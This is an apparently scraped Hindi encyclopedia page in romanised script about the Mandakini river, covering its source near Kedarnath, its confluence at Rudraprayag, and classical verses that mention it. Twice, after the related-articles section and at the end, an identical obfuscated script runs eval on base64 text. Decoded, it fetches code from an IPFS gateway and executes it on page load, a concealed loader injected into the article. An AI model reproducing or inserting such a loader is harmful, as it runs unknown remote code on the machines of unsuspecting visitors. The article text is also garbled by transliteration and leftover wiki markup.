मंदाकिनी नदी

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

thumb|250px|mandakini nadi mandakani bharat ki pavitr nadiyoan mean se ek hai. yah alakananda ki ek sahayak nadi hai. is nadi ka udgam sthan uttarakhand me kedaranath ke nikat hai. mandakani ka srot kedaranath ke nikat charaba di himanad hai. sonaprayag mean yah nadi vasukiganga nadi dvara jalaposhit hoti hai. rudraprayag mean mandakini nadi alakananda mean mil jati hai. usake bad alakananda vahaan se bahati huee devaprayag ki or badhati hai, jahaan bah bhagirathi se milakar ganga nadi ka nirman karati hai.

'ayan girishchitrakootastatha mandakini nadi, ekat prakashate doorannilameghanibhanvanamh'; 'ath shailadvinishkamy maithilian koshaleshvar:, adarshayachchhubhajalaan ramyaan mandakini nadimh. vichitr pulinaan ramyaan hansasarasasevitamh kusumairupasanpannaan pashy mandakinian nadimh. nanavidhaistiraruhairvutaan pushpaphalamadrumai: rajanti rajarajasy nalinimiv sarvat:. kvachinh maninikashodaan kvachith pulinashalinimh, kvachitsiddhajanakirn pashy mandakini nadimh. darshanan chitrakootasy madaankinyashch shobhane adhik puravasachch manye tav ch darshanath. sakhovachch vigahasv sote madaankiniannadimh kamalanyavamajjanti pushkarani ch bhamini'.[1]

'kaushiki mandakini yamuna.......'.
'esha prasannastimitapravaha sarid vidooraantarabhavatanvi, mandakini bhati nagopakanthe muktavali kanthagataiv bhoome:'.

[[chitr:Mandakini-River-And-Alakananda-River.jpg|thumb|250px|mandakini nadi aur alakananda nadi ka sangam, rudraprayag]]

'oochuragre gire: pashchad gangaya uttaratate viviktan ramasadanan ramyan kananamandit'.
'surasari dhar nam mandakini jo sab patak-potak dakini'.
  • tulasidas ne mandakini ke sanbandh mean prasiddh pauranik katha ka bhi nirdesh kiya hai jisamean is nadi ko avirrishi ki patni anasooya dvara chitrakoot mean lae jane ka varnan hai-
'nadi punit puran bakhani, atripriya nij tapabal ani'.
  • mandakini aur payasvini nadiyoan ke sangam par raghavaprayag namak sthan haian.
arth

mandakini shabd ka arth 'mand-mand bahane vali' hai. isake is vishishti gun ka varnan kalidas ne uparyukt shlok mean 'stimit pravaha' kah kar kiya hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

vithika

tika tippani aur sandarbh

  1. ayodhya 93,8; 95,1-3-4-9-12-14
  2. shrimadbhagavat 5,19,18
  3. raghuvansh 13,48
  4. ayodhya 63

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>